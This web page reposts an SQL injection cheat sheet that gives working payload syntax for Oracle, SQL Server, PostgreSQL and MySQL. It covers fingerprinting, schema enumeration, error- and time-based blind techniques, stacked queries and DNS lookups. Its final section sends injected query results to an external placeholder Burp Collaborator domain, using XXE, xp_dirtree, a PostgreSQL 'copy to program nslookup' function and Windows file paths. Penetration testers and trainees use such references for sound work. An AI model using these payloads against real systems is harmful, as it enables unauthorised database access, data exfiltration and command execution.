Skip to content

Cheat-sheet: SQL Injection

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. source

String concatenation

You can concatenate together multiple strings to make a single string.

  • Oracle 'foo'||'bar'
  • Microsoft 'foo'+'bar'
  • PostgreSQL 'foo'||'bar'
  • MySQL 'foo' 'bar' [Note the space between the two strings]
  • MySQL CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

  • Oracle SUBSTR('foobar', 4, 2)
  • Microsoft SUBSTRING('foobar', 4, 2)
  • PostgreSQL SUBSTRING('foobar', 4, 2)
  • MySQL SUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

  • Oracle --comment
  • Microsoft --comment /*comment*/
  • PostgreSQL --comment /*comment*/
  • MySQL #comment
  • MySQL -- comment [Note the space after the double dash]
  • MySQL /*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

  • Oracle SELECT banner FROM v$version SELECT version FROM v$instance
  • Microsoft SELECT @@version
  • PostgreSQL SELECT version()
  • MySQL SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

  • Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
  • Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • PostgreSQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • MySQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

  • Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
  • Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
  • PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
  • MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

  • Oracle -> Does not support batched queries.
  • Microsoft -> QUERY-1-HERE; QUERY-2-HERE
  • PostgreSQL -> QUERY-1-HERE; QUERY-2-HERE
  • MySQL -> QUERY-1-HERE; QUERY-2-HERE

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

  • Oracle dbms_pipe.receive_message(('a'),10)
  • Microsoft WAITFOR DELAY '0:0:10'
  • PostgreSQL SELECT pg_sleep(10)
  • MySQL SELECT SLEEP(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

  • Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
  • Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
  • PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
  • MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle

The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL The following techniques work on Windows only:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle 

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Microsoft 

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

PostgreSQL 

create OR replace function f() returns void as $$   declare c text;   declare p text;   begin   SELECT into p (SELECT YOUR-QUERY-HERE);   c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';   execute c;   END;   $$ language plpgsql security definer;   SELECT f();

MySQL The following technique works on Windows only:

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'